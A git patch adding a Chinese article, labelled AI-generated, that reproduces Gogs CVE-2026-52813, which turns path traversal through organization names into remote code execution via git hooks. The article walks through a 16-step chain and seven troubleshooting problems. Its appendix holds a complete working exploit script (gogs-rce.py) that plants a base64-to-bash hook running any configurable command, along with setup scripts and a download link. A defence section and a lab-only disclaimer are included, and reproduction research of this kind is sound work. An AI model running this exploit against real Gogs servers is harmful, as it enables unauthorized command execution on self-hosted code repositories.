From 8115bb37697ef7dc0744b96e649abbaaa06b2794 Mon Sep 17 00:00:00 2001 From: test Date: Fri, 26 Jun 2026 17:48:07 +0000 Subject: [PATCH] =?UTF-8?q?AI=20=E7=94=9F=E6=88=90=20|=20Gogs=20CVE-2026-5?= =?UTF-8?q?2813=EF=BC=9A=E4=BB=8E=E7=BB=84=E7=BB=87=E5=90=8D=E8=B7=AF?= =?UTF-8?q?=E5=BE=84=E7=A9=BF=E8=B6=8A=E5=88=B0=20RCE=20=E7=9A=84=E5=A4=8D?= =?UTF-8?q?=E7=8E=B0=E5=85=A8=E8=AE=B0=E5=BD=95=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 3 +- ...�路径穿越到 RCE 的复现全记录.md | 800 ++++++++++++++++++ 2 files changed, 802 insertions(+), 1 deletion(-) create mode 100644 doc/2026-06/AI 生成 Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录.md diff --git a/data.json b/data.json index 1b7b2753..9ef9d2e5 100644 --- a/data.json +++ b/data.json @@ -21439,5 +21439,6 @@ "https://mp.weixin.qq.com/s/t8uwBasBjx1E2W9VJsPMzQ": "手把手教你用 kali 进行渗透测试,含信息收集、漏洞利用、权限提升等", "https://mp.weixin.qq.com/s/rqb5G7wrtgdmwCAvbIvqKA": "CVE-2026-25860 - OpenClinic GA 反射型 XSS 漏洞导致远程代码执行", "https://mp.weixin.qq.com/s/3uepeUGGnQMGIHTggkhw6w": "CISA警告:思科统一配置管理(Cisco Unified CM)漏洞已被攻击者利用", - "https://mp.weixin.qq.com/s/nKWR5Sypju9tNsac5zPGgw": "GeoLocate CVE-2025-52465 - GeoServer漏洞利用" + "https://mp.weixin.qq.com/s/nKWR5Sypju9tNsac5zPGgw": "GeoLocate CVE-2025-52465 - GeoServer漏洞利用", + "https://mp.weixin.qq.com/s/I0klN0JtPqeTGVs1zJd9Sg": "AI 生成 | Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录" } \ No newline at end of file diff --git a/doc/2026-06/AI 生成 Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录.md b/doc/2026-06/AI 生成 Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录.md new file mode 100644 index 00000000..13a84460 --- /dev/null +++ b/doc/2026-06/AI 生成 Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录.md @@ -0,0 +1,800 @@ +# AI 生成 | Gogs CVE-2026-52813:从组织名路径穿越到 RCE 的复现全记录 +原创 GLM-5.2 + GLM-5.2 赛博生存指南 2026-06-26 15:20 + +  + +## 一、漏洞定位 + +**CVE-2026-52813 / GHSA-c39w-43gm-34h5** +,CWE-23 Relative Path Traversal,影响 Gogs 0.14.0 +–0.14.2 +,0.14.3 + 修复。 + +Gogs 在创建组织(organization)时,会用组织名拼出仓库目录路径,却没有对 ../ + 做任何清洗: +``` +// internal/database/org.go +os.MkdirAll(repox.UserPath(org.Name)) +``` + +由于组织名是攻击者可控的字符串,一个形如 ../../../../data/gogs/data/tmp/local-r//nested + 的组织名,会让该组织下的仓库目录被建到任意路径——包括**另一个仓库的本地工作区** +里。一旦能把文件写进目标仓库的 .git/hooks/ +,就等于拿到了在该仓库被访问时自动执行的代码(post-receive + / update + 等 Git 钩子),即 RCE。 + +执行身份是容器里的 git + 用户(uid=1000(git) +),虽不是 root,但对自托管 Git 服务来说,这已经是完整的服务端命令执行。 + +地址: +https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5 + +文中相关脚本【文末也有】: +https://pan.baidu.com/s/1Rzb0MtyekVg-c-nYj4h8oA?pwd=vft2 提取码: vft2  +## 二、关键前提:Gogs 的 local-r 机制 + +复现前必须搞懂的一个细节:Gogs 不是直接对裸仓库(bare repo)做 Web/API 文件操作的。每次通过 Web 编辑器或 API 写文件,它会在 /data/gogs/data/tmp/local-r// + 下**克隆出一份工作副本** +,在副本里改文件、提交,再同步回裸仓库。 + +这条机制的副作用,是整个利用链能成立的基础: +- • 给组织名做路径穿越后,组织下新建仓库的 .git + 目录会**落在另一个仓库(writer)的工作副本目录树里** +; + +- • writer 的工作副本本身可以被 clone、被 push——于是攻击者能像改普通文件一样,把恶意内容写进那个被“挪过来”的 .git/hooks/ +; + +- • 关键还在于:local-r// + 里那份 .git/hooks/ + 是 git init + 自动生成的,钩子文件权限是 **100755(可执行)** +。这一点在后面会成为绕过 Windows 攻击端坑的关键。 + +## 三、复现环境 + +最小 Docker Compose 栈,Gogs + PostgreSQL: +``` +services: +  db: +    image: postgres:16-alpine +    environment: +      POSTGRES_USER: gogs +      POSTGRES_PASSWORD: gogs +      POSTGRES_DB: gogs +    volumes: +      - postgres-data:/var/lib/postgresql/data +    healthcheck: +      test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ] +      interval: 5s +      timeout: 5s +      retries: 5 + +  gogs: +    # Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813 +    image: gogs/gogs:0.14.2 +    depends_on: +      db: +        condition: service_healthy +    ports: +      - "3000:3000" +    volumes: +      - gogs-data:/data +    restart: unless-stopped + +volumes: +  gogs-data: +  postgres-data: +``` + +镜像版本这一行是整套复现里最容易被忽略、却最致命的坑(详见第五节)。这里**必须钉死 gogs/gogs:0.14.2** +,gogs/gogs:latest + 现在已经是修复后的 0.14.3 +。 +## 四、复现流程 + +整个流程拆成两段脚本:setup.py + 负责把空实例配好并造出攻击者账号;gogs-rce.py + 负责跑完整的利用链。 +### 1. 起服务 +``` +docker compose up -d +``` + +等 Gogs 起来后访问 http://localhost:3000/ +,会 302 跳到 /install + 安装向导。这一步用脚本自动填表,不手点。 +### 2. 安装向导 + 建号(setup.py) + +setup.py + 干三件事:填 PostgreSQL 连接信息提交安装表单;等安装完成、Gogs 内部重启;用管理员账号通过 API 造一个 attacker/attacker + 攻击者账号。 + +为什么走 API 而不是网页注册?因为自注册默认带 CAPTCHA,脚本里处理验证码不划算;用管理员 token 走 /api/v1/admin/users + 直接建号最干净。 + +安装成功后,实例上就有了: + +
账号
密码
角色
gogsgogspass
管理员
attackerattacker
攻击者(普通用户)
+### 3. 利用链(gogs-rce.py) + +完整利用链共 16 步,核心逻辑如下。命令默认 id +,可改成任意 shell 命令。 +``` +step 1  attacker 申请 API token(basic auth 换 sha1 token) +step 2  建 writer 仓库(普通个人仓库),Gogs 在 local-r// 给它建工作副本 +step 3  Web 编辑器往 writer 丢一个文件,触发 local-r 工作副本生成 +step 4  查出 writer 的 repo id = n +step 5  建组织:username = ../../../../data/gogs/data/tmp/local-r//nested  ← 穿越点 +step 6  GET 组织确认 422 已消失(即穿越名被接受) +step 7  在该组织下建 rce 仓库 —— 它的 .git 目录被写进 writer 的工作副本里 +step 8  GET rce 仓库确认存在 +step 9  往 writer 丢文件,强制 resync:把 nested/.git/ 连同可执行钩子提交进 writer 树 +step 10 clone writer 到本地 +step 11 覆写 nested/.git/hooks/{post-receive,update} 为 payload +step 12 push writer +step 13 再次 resync:把可执行的恶意 post-receive 落到 rce 裸仓库的磁盘上 +step 14 往 rce 仓库写文件触发 hook → Gogs 推送 → post-receive 执行 → 落盘 CMD_OUTPUT +step 15 第三次 resync:把磁盘上的 CMD_OUTPUT 提交进 writer 树 +step 16 GET writer 的 raw 文件读出命令执行结果 +``` + +payload 本体是个 base64 + bash 的一行: +``` +echo '' | base64 -d | bash > pwned +``` + +钩子被 Gogs 以 git + 身份执行,输出写到裸仓库目录下的 pwned +,再通过 writer 的 raw 接口读回来。 +### 4. 成功结果 + +两轮干净的端到端复现,都拿到了 git + 身份的任意命令执行: +``` +uid=1000(git) gid=1000(git) groups=1000(git) +``` + +换成读系统信息,确认了执行环境是 WSL2 下的 Alpine: +``` +PWNED_BY=git ON=cee09eb74aa7 KERNEL=Linux 6.6.87.2-microsoft-standard-WSL2 +PRETTY_NAME="Alpine Linux v3.21" +``` +## 五、遇到的问题与排查(重点) + +这套 PoC 在公开 gist 里是为 Linux 攻击机写的,原样跑在 Windows 上、或在当前(2026 年中)的时间点跑,会连续踩坑。下面按踩坑顺序逐个记录。 +### 问题 1:gogs/gogs:latest 已经是修复版 + +最开始没钉版本,直接 image: gogs/gogs +。环境起得来、安装也过了,但到了 step 5 建组织时报: +``` +422 {"message":"invalid org name","url":"..."} +``` + +组织名里的 ../ + 被服务端拒掉了。第一反应是 payload 转义问题,改了好几种 URL 编码都没用。去查镜像 tag 才发现:gogs/gogs:latest + 现在指向 0.14.3 +,构建日期 2026-06-07,**漏洞已经修了** +。0.14.3 + 的修复正是对组织名做了路径校验。 + +**解决** +:把 compose 里的镜像钉成 gogs/gogs:0.14.2 +,docker compose down -v + 清掉旧数据卷后重建。这一步是能否复现的“0 和 1”。 +> 教训:复现历史 CVE,镜像版本永远要钉到漏洞窗口内的具体 tag,不要信 latest +。 + +### 问题 2:安装表单 400(字段不全) + +setup.py + 第一次提交 /install + 直接 400。原因是安装表单的字段集和早期版本不一样,0.14.x + 多了几个必填项: +- • db_schema +:PostgreSQL 必填,要设成 "public" +,否则后面会报 schema 错误(见问题 4); + +- • log_root_path +:要给一个容器内可写路径,如 /app/gogs/log +; + +- • use_builtin_ssh_server +、enable_console_mode +、default_branch + 等开关字段也不能少。 + +另外管理员密码有最小长度校验,最初用的短密码直接被拒。 + +**解决** +:按 0.14.x + 表单把字段补全,ADMIN_PASS + 改成 "gogspass" +。 +### 问题 3:PostgreSQL 认证失败(SQLSTATE 28P01) + +装好提交,PostgreSQL 报 password authentication failed for user "gogs" +。 + +排查发现是**数据卷持久化** +惹的祸:之前用过别的密码起过 postgres,卷里已经存了旧密码的认证信息。POSTGRES_PASSWORD + 这个环境变量只在**卷第一次初始化时** +生效,卷已存在时改环境变量无效。 + +**解决** +:docker compose down -v + 连数据卷一起删,重新初始化。 +> 教训:postgres 容器改了 POSTGRES_PASSWORD + 不生效,99% 是卷里已有旧数据。要么 -v +,要么进库手动 ALTER USER +。 + +### 问题 4:PostgreSQL 未选 schema(SQLSTATE 3F000) + +密码过了,又报 no schema has been selected to create in +。 + +这是 0.14.x + 安装表单新增的 db_schema + 字段没填。早期 Gogs 不分 schema,直接用 public +;新版表单把它做成显式字段,留空就报这个错。 + +**解决** +:表单里加 "db_schema": "public" +。 +### 问题 5:admin token 接口 401 + +实例装好了,setup.py + 去调 /api/v1/users/gogs/tokens + 用 basic auth 换 token,稳定 401。但用网页能正常登录,说明账号密码没问题。 + +两个原因叠加: +1. 1. **会话污染** +:安装流程用的那个 requests.Session() + 带着安装时的 cookie,和 HTTP basic auth 打架,认证头被 cookie 影子盖住; + +1. 2. **重启竞态** +:Gogs 装完会内部重启一次,重启的几秒内 API 还没就绪,basic auth 会短暂 401。 + +**解决** +:admin_token() + 和 create_attacker() + 都改用**全新的** + requests.Session() +(不复用安装那个被污染的 session),外加一个最多 20 次、每次间隔 2 秒的重试循环,并在 install_done() + 之后再 time.sleep(8) + 把重启窗口让过去。 +> 教训:requests 里 basic auth 和 session cookie 同存时,认证语义会被 cookie 干扰,调试脚本最好给每段独立的事务开新 session。 + +### 问题 6:最后一步 404(Windows 攻击端钩子丢失可执行位)——最隐蔽的坑 + +这是耗时最长的一个坑。版本钉对了(0.14.2 +)、穿越成功、update + 钩子也写进去了,但 step 14 触发后 step 16 读 pwned + 返回 **404** +——钩子根本没执行。 + +原因链: +1. 1. 原始 gist PoC 只覆盖一个**新建** +的 update + 钩子; + +1. 2. 我在 **Windows** + 上跑攻击端,Windows 版 git 默认 core.fileMode=false +,新增文件一律按 100644 +(非可执行)入索引; + +1. 3. push 上去后,update + 钩子在服务端就是 100644 +,**git 不会执行没有可执行位的钩子** +; + +1. 4. 于是触发推送时钩子被静默跳过,pwned + 从不生成,读出来就是 404。 + +**解决** +:思路是**覆盖一个已经可执行的文件,而不是新建文件** +。git init + 创建裸仓库时,hooks/ + 下的 post-receive.sample + 等模板是 100755 +,而 Gogs 落地的真实 post-receive + 同样是 100755 +。在 core.fileMode=false + 下,git add + 一个**已存在** +的可执行文件时,会**保留其索引中的 100755 模式** +,只改内容。于是: +- • payload 同时写 post-receive + 和 update + 两个钩子——post-receive + 是覆盖既有可执行文件(生效,跨平台),update + 是新建(仅在 Linux 攻击端生效,作为兼容兜底); + +- • 详见 gogs-rce.py + 文件头注释里写的两条适配。 + +``` +hook_paths = [Path(ORG_NAME) / f"{REPO_NAME}.git" / "hooks" / h +              for h in ("post-receive", "update")] +``` +### 问题 7:钩子写进 writer 树却没落到 rce 裸仓库的磁盘上 + +修好可执行位后,钩子在 writer 的 git 树里是对的了,但 step 14 触发还是没执行。 + +根因回到第二节那条 local-r 机制:**writer 树里的 .git/hooks/ 内容,不会自动同步回 local-r// 下 rce 裸仓库的磁盘** +。Gogs 只有在“对 writer 做一次写操作”时才会重新拉取/同步 writer 的工作副本。所以单纯 clone→改→push,恶意钩子停留在 writer 的提交历史里,但 rce 裸仓库磁盘上那份钩子还是干净的。 + +**解决** +:在关键节点插入 **3 次 writer resync** +(每次都是往 writer 丢一个文件,逼 Gogs 重新同步工作副本): +- • step 9:rce 仓库建完后 resync,让 nested/.git/ + 连同可执行钩子先进 writer 树; + +- • step 13:push 完 payload 再 resync,把可执行的恶意 post-receive + 落到 rce 裸仓库磁盘上; + +- • step 15:触发执行后 resync,把磁盘上新产生的 pwned + 提交回 writer 树,供 step 16 读取。 + +原 gist 在 Linux 上一次跑通,部分原因是它的工作目录/同步时机恰好踩对了;到了 Windows + 当前版本环境,必须显式补这几步。 +## 六、坑位速查表 + +
#
现象
根因
解决
1
建组织 422 invalid org name
:latest
 已是修复版 0.14.3
钉 gogs/gogs:0.14.2,清卷重建
2
安装表单 400
0.14.x
 新增 db_schema 等字段、密码过短
补全表单字段,加长管理员密码
3
PG 28P01 认证失败
旧卷存了别的密码
docker compose down -v
4
PG 3F000 未选 schema
db_schema
 留空
设 db_schema: "public"
5
admin token 401
session 污染 + 重启竞态
新 session + 重试 + 重启后 sleep
6
触发后 404
Windows core.fileMode=false,新钩子无执行位
覆盖既有 100755 的 post-receive
7
钩子未落地
local-r 工作副本未同步
插入 3 次 writer resync
+## 七、修复与防御 + +官方 0.14.3 + 的修法是对组织名(以及其它用户可控的仓库路径片段)做白名单字符校验,拒掉 ../ + 与绝对路径,从源头堵住路径穿越。 + +对运维侧的几条启示: +1. 1. **及时升级** +。自托管服务极易长期停在某个老版本,Gogs 这类项目修复窗口一过,公开 PoC 就能直接打。当前线上应至少升到 0.14.3 +。 + +1. 2. **最小权限** +。容器以 git + 用户而非 root 运行,确实把爆炸半径限在容器内,但“容器内非 root”不等于安全——本案照样拿到服务端 RCE。配合只读根文件系统、 capabilities 裁剪才有意义。 + +1. 3. **仓库目录与运行态目录隔离** +。本案能成立,部分是因为仓库存储路径(/data/git/gogs-repositories +)和运行态临时目录(/data/gogs/data/tmp/ +)落在同一棵可写树下。理想情况应分卷、分权限。 + +1. 4. **钩子执行监控** +。Git 钩子是 git + 身份的任意执行点。生产环境若开了仓库钩子,应配合 exec 审计(auditd / Sysmon for Linux)记录 hooks/ + 下的执行行为。 + +## 八、安全说明 + +本文是对**公开披露** +漏洞(GHSA-c39w-43gm-34h5 / CVE-2026-52813)的本地复现记录,所有操作都在本人完全可控的 Docker 隔离实例上完成,使用官方已修复版本之外的最后一个受影响版本 0.14.2 + 做验证。目的仅为理解漏洞成因与排查思路,请勿用于未授权目标。 +## 附录:相关脚本 +> 完整脚本保存在仓库。下面给出复现用到的三个文件,仅作技术参考,请在授权隔离环境使用。 + +### 1. docker-compose.yml +``` +services: +  db: +    image: postgres:16-alpine +    environment: +      POSTGRES_USER: gogs +      POSTGRES_PASSWORD: gogs +      POSTGRES_DB: gogs +    volumes: +      - postgres-data:/var/lib/postgresql/data +    restart: unless-stopped +    healthcheck: +      test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ] +      interval: 5s +      timeout: 5s +      retries: 5 + +  gogs: +    # Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813 / GHSA-c39w-43gm-34h5 +    # (org-name path traversal -> RCE). Fixed in 0.14.3. +    image: gogs/gogs:0.14.2 +    depends_on: +      db: +        condition: service_healthy +    ports: +      - "3000:3000" +    volumes: +      - gogs-data:/data +    restart: unless-stopped + +volumes: +  gogs-data: +  postgres-data: +``` +### 2. setup.py(自动安装 + 建攻击者账号) +``` +"""Bootstrap a fresh Gogs instance for the GHSA-c39w-43gm-34h5 PoC.Steps:  1. Wait for Gogs to come up and expose /install.  2. POST the installer form (PostgreSQL at db:5432 + admin account `gogs/gogs`).  3. Wait until install completes.  4. Mint an admin API token and create the `attacker/attacker` user via the admin API     (avoids the self-registration CAPTCHA entirely).""" +from __future__ import annotations + +import re +import sys +import time + +import requests + +GOGS_BASE = "http://localhost:3000" +ADMIN_USER = "gogs" +ADMIN_PASS = "gogspass" +ADMIN_EMAIL = "gogs@local.invalid" +ATTACKER_USER = "attacker" +ATTACKER_PASS = "attacker" +ATTACKER_EMAIL = "attacker@local.invalid" + +s = requests.Session() + + +def wait_for(url: str, *, want_installable: bool = False, timeout: int = 180) -> None: +    deadline = time.time() + timeout +    while time.time() < deadline: +        try: +            r = s.get(url, allow_redirects=False, timeout=5) +        except requests.RequestException: +            time.sleep(2) +            continue +        if r.status_code in (200, 302): +            if want_installable: +                loc = r.headers.get("Location", "") +                if r.status_code == 302 and loc.endswith("/install"): +                    return +                if r.status_code == 200 and "/install" in r.text: +                    return +            else: +                return +        time.sleep(2) +    raise SystemExit(f"timed out waiting for {url}") + + +def csrf_from(html: str) -> str | None: +    for pat in ( +        r']+name="_csrf"[^>]+value="([^"]+)"', +        r' None: +    # Gogs serves / on a fresh instance by redirecting to /install +    r = s.get(f"{GOGS_BASE}/install", timeout=10) +    print("[install] GET /install ->", r.status_code) +    csrf = csrf_from(r.text) +    form = { +        "db_type": "PostgreSQL", +        "db_host": "db:5432", +        "db_user": "gogs", +        "db_passwd": "gogs", +        "db_name": "gogs", +        "db_schema": "public", +        "ssl_mode": "disable", +        "db_path": "", +        "app_name": "Gogs", +        "repo_root_path": "/data/git/gogs-repositories", +        "run_user": "git", +        "domain": "localhost", +        "ssh_port": "22", +        "use_builtin_ssh_server": "", +        "http_port": "3000", +        "app_url": f"{GOGS_BASE}/", +        "log_root_path": "/app/gogs/log", +        "enable_console_mode": "on", +        "default_branch": "master", +        "smtp_host": "", +        "smtp_from": "", +        "smtp_user": "", +        "smtp_passwd": "", +        "register_confirm": "off", +        "mail_notify": "off", +        "offline_mode": "on", +        "disable_gravatar": "on", +        "enable_federated_avatar": "off", +        "disable_registration": "off", +        "enable_captcha": "off", +        "require_sign_in_view": "off", +        "admin_name": ADMIN_USER, +        "admin_passwd": ADMIN_PASS, +        "admin_confirm_passwd": ADMIN_PASS, +        "admin_email": ADMIN_EMAIL, +    } +    if csrf: +        form["_csrf"] = csrf +    r = s.post(f"{GOGS_BASE}/install", data=form, allow_redirects=False, timeout=30) +    print("[install] POST /install ->", r.status_code, r.headers.get("Location", "")) + + +def install_done() -> bool: +    r = s.get(f"{GOGS_BASE}/", allow_redirects=False, timeout=10) +    loc = r.headers.get("Location", "") +    # Once configured, / no longer redirects to /install +    return not loc.endswith("/install") + + +def admin_token() -> str: +    # Gogs restarts internally right after install; basic auth may 401 briefly. +    # Use a FRESH session so install-flow cookies don't shadow HTTP basic auth. +    fs = requests.Session() +    last = None +    for _ in range(20): +        r = fs.post( +            f"{GOGS_BASE}/api/v1/users/{ADMIN_USER}/tokens", +            auth=(ADMIN_USER, ADMIN_PASS), +            json={"name": "bootstrap"}, +            timeout=10, +        ) +        if r.ok: +            print("[admin] create token ->", r.status_code) +            sha1 = r.json().get("sha1") +            if not sha1: +                raise SystemExit("admin token response missing sha1") +            return sha1 +        last = f"{r.status_code} {r.text[:120]}" +        time.sleep(2) +    raise SystemExit(f"admin token creation failed after retries: {last}") + + +def create_attacker(token: str) -> None: +    fs = requests.Session() +    r = fs.post( +        f"{GOGS_BASE}/api/v1/admin/users", +        headers={"Authorization": f"token {token}"}, +        json={ +            "username": ATTACKER_USER, +            "email": ATTACKER_EMAIL, +            "password": ATTACKER_PASS, +            "source_id": 0, +            "login_name": "", +        }, +        timeout=10, +    ) +    print("[admin] create attacker ->", r.status_code) +    if r.status_code == 422: +        print("    (already exists?)", r.text[:200]) +        return +    r.raise_for_status() + + +def main() -> None: +    print("waiting for Gogs to come up...") +    wait_for(f"{GOGS_BASE}/", want_installable=True) +    do_install() +    # Gogs restarts internally after install; wait until it stops redirecting to /install +    deadline = time.time() + 120 +    while time.time() < deadline: +        try: +            if install_done(): +                break +        except requests.RequestException: +            pass +        time.sleep(2) +    else: +        raise SystemExit("install did not complete in time") + +    # Let Gogs finish its post-install internal restart before hitting the API. +    time.sleep(8) + +    token = admin_token() +    create_attacker(token) +    print("setup complete: admin=gogs attacker=attacker") + + +if __name__ == "__main__": +    sys.exit(main()) +``` +### 3. gogs-rce.py(路径穿越 → RCE 利用链) +``` +"""PoC for GHSA-c39w-43gm-34h5 / CVE-2026-52813   Path Traversal in organization name -> RCE via Git hooks (Gogs < 0.14.3).Adapted from the advisory's gist (https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9)for an attacker running on Windows. Two changes vs. the original:  1. We overwrite the *already-executable* `post-receive` hook (created by Gogs'     `git init` at mode 100755) instead of creating a *new* `update` hook.     Reason: Windows git has core.fileMode=false, so a freshly-added file is staged     as 100644 (non-executable) and git refuses to run it. Modifying an existing     100755 file preserves the executable bit through `git add`/push. We still also     write `update` so the PoC works unchanged on a Linux attacker host.  2. We force a writer-repo resync right after creating the traversal repo, so the     writer's git tree (and thus our clone) already contains `nested/.git/hooks/`     with executable hooks before we overwrite them.""" +from __future__ import annotations + +import base64 +import os +import re +import subprocess +import tempfile +import uuid +from pathlib import Path +from urllib.parse import quote, urlsplit, urlunsplit +from base64 import b64encode + +import requests + +GOGS_BASE = "http://localhost:3000" +USERNAME = "attacker" +PASSWORD = "attacker" +COMMAND = "id" + +REPO_NAME = f"rce-{uuid.uuid4().hex[:8]}" +WRITER_REPO_NAME = f"writer-{uuid.uuid4().hex[:8]}" +ORG_NAME = "nested" +CMD_OUTPUT = "pwned" +HOOK_BODY = f"echo '{b64encode(COMMAND.encode()).decode()}' | base64 -d | bash > {CMD_OUTPUT}\n" + +s = requests.Session() + + +def e(part: str) -> str: +    return quote(part, safe="") + + +def _csrf_from_meta(html: str) -> str: +    m = re.search(r' None: +    login_url = f"{GOGS_BASE}/user/login" +    r = s.get(login_url) +    r.raise_for_status() +    csrf = _csrf_from_meta(r.text) +    r = s.post( +        login_url, +        data={"_csrf": csrf, "user_name": USERNAME, "password": PASSWORD, "login_source": "0"}, +    ) +    r.raise_for_status() + + +def add_file_via_web_editor(username: str, repo_name: str, path: str, content: str, *, branch: str = "master") -> None: +    saved_auth = s.headers.pop("Authorization", None) +    try: +        _web_login() +        new_url = f"{GOGS_BASE}/{username}/{repo_name}/_new/{branch}/" +        r = s.get(new_url) +        r.raise_for_status() +        page = r.text +        csrf = _csrf_from_meta(page) +        m = re.search(r'name="last_commit"\s+value="([^"]+)"', page) +        if not m: +            raise SystemExit("missing last_commit on new-file page") +        r = s.post( +            new_url, +            data={ +                "_csrf": csrf, "last_commit": m.group(1), "tree_path": path, +                "content": content, "commit_summary": "", "commit_message": "", +                "commit_choice": "direct", "new_branch_name": "", +            }, +        ) +        r.raise_for_status() +    finally: +        if saved_auth is not None: +            s.headers["Authorization"] = saved_auth + + +def _writer_repo_id() -> int: +    r = s.get(f"{GOGS_BASE}/api/v1/repos/{USERNAME}/{WRITER_REPO_NAME}") +    r.raise_for_status() +    rid = r.json().get("id") +    if rid is None: +        raise SystemExit("GET writer repo: missing id in JSON") +    return int(rid) + + +def _authed_git_clone_url() -> str: +    p = urlsplit(GOGS_BASE) +    repo_path = f"{p.path.rstrip('/')}/{USERNAME}/{WRITER_REPO_NAME}.git" +    return urlunsplit((p.scheme, f"{USERNAME}:{PASSWORD}@{p.netloc}", repo_path, "", "")) + + +def _git_run(args: list[str], *, cwd: str | None = None) -> None: +    env = os.environ.copy() +    env.setdefault("GIT_TERMINAL_PROMPT", "0") +    subprocess.run(args, check=True, cwd=cwd, env=env) + + +def _put_file_contents_api(owner: str, reponame: str, file_path: str, text: str, message: str) -> None: +    url = f"{GOGS_BASE}/api/v1/repos/{e(owner)}/{reponame}/contents/{quote(file_path, safe='/')}" +    r = s.put(url, json={"message": message, "content": base64.standard_b64encode(text.encode()).decode(), "branch": "master"}) +    r.raise_for_status() + + +def _apply_api_token() -> None: +    tok = s.post(f"{GOGS_BASE}/api/v1/users/{USERNAME}/tokens", auth=(USERNAME, PASSWORD), json={"name": f"poc-{uuid.uuid4().hex[:12]}"}) +    tok.raise_for_status() +    sha1 = tok.json().get("sha1") +    if not sha1: +        raise SystemExit("token response missing sha1") +    s.headers["Authorization"] = f"token {sha1}" + + +def main() -> None: +    _apply_api_token() +    print("step 1 token ok") + +    cw = s.post(f"{GOGS_BASE}/api/v1/user/repos", json={ +        "name": WRITER_REPO_NAME, "description": "personal writer repo for poc", +        "private": False, "auto_init": True, "readme": "Default", +    }) +    cw.raise_for_status() +    print("step 2 create writer repo", cw.status_code, cw.json().get("full_name")) + +    add_file_via_web_editor(USERNAME, WRITER_REPO_NAME, "dummy", "dummy") +    print("step 3 web editor new file on", USERNAME, "/", WRITER_REPO_NAME) + +    n = _writer_repo_id() +    print("step 4 writer repo -> local-r", n) + +    org_name = f"../../../../data/gogs/data/tmp/local-r/{n}/" + ORG_NAME +    co = s.post(f"{GOGS_BASE}/api/v1/user/orgs", json={"username": org_name, "full_name": "deep"}) +    co.raise_for_status() +    print("step 5 create org", co.status_code, "username", co.json().get("username")) + +    s.get(f"{GOGS_BASE}/api/v1/orgs/{e(org_name)}").raise_for_status() +    print("step 6 get org ok") + +    cr = s.post(f"{GOGS_BASE}/api/v1/org/{e(org_name)}/repos", json={ +        "name": REPO_NAME, "description": "poc", "private": False, "auto_init": True, "readme": "Default", +    }) +    cr.raise_for_status() +    print("step 7 create rce repo", cr.status_code, "full_name", cr.json().get("full_name")) + +    s.get(f"{GOGS_BASE}/api/v1/repos/{e(org_name)}/{REPO_NAME}").raise_for_status() +    print("step 8 get rce repo ok") + +    # Resync the writer worktree so nested/.git/ (with executable hooks) is committed +    # into the writer tree BEFORE we clone + overwrite the hooks. +    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, "resync1.txt", "resync after rce create\n", "poc: resync1") +    print("step 9 writer resync (commit nested/.git into writer tree)") + +    hook_paths = [Path(ORG_NAME) / f"{REPO_NAME}.git" / "hooks" / h for h in ("post-receive", "update")] +    clone_dir = tempfile.mkdtemp(prefix="poc-writer-") +    _git_run(["git", "clone", _authed_git_clone_url(), clone_dir]) +    print("step 10 clone writer ->", clone_dir) +    _git_run(["git", "config", "user.email", "poc@local.invalid"], cwd=clone_dir) +    _git_run(["git", "config", "user.name", "poc"], cwd=clone_dir) +    for hp in hook_paths: +        full = Path(clone_dir) / hp +        full.parent.mkdir(parents=True, exist_ok=True) +        full.write_text(HOOK_BODY, encoding="utf-8") +    _git_run(["git", "add", "-A"], cwd=clone_dir) +    _git_run(["git", "commit", "-m", f"poc: overwrite {ORG_NAME}/{REPO_NAME}.git hooks"], cwd=clone_dir) +    print("step 11 write hooks:", ", ".join(str(hp) for hp in hook_paths), "->", HOOK_BODY.strip()) +    _git_run(["git", "push", "origin", "master"], cwd=clone_dir) +    print("step 12 push writer") + +    # Resync again: propagate the malicious (executable) post-receive onto disk in the rce bare repo. +    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, "resync2.txt", "propagate hook\n", "poc: resync2") +    print("step 13 writer resync (propagate malicious hook to rce bare on disk)") + +    # Trigger the rce repo: Gogs pushes to it -> our post-receive fires -> CMD_OUTPUT is written. +    _put_file_contents_api(org_name, REPO_NAME, "trigger.txt", "trigger the hook\n", "poc: trigger rce") +    print("step 14 trigger rce repo (hook should fire)") + +    # Resync writer so CMD_OUTPUT (now on disk in nested/.git/) gets committed into the writer tree. +    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, "resync3.txt", "commit output\n", "poc: resync3") +    print("step 15 writer resync (commit CMD_OUTPUT into writer tree)") + +    url = f"{GOGS_BASE}/{USERNAME}/{WRITER_REPO_NAME}/raw/master/{ORG_NAME}/{REPO_NAME}.git/{CMD_OUTPUT}" +    r = s.get(url) +    print("step 16 GET raw output", r.status_code, url) +    r.raise_for_status() +    print("\n=== COMMAND OUTPUT ===") +    print(r.text) + + +if __name__ == "__main__": +    main() +``` +> 运行顺序:docker compose up -d + → python setup.py + → python gogs-rce.py +。修改 gogs-rce.py + 顶部的 COMMAND + 即可改变执行的命令。再次强调,请仅在本地隔离环境验证。 + + +  + +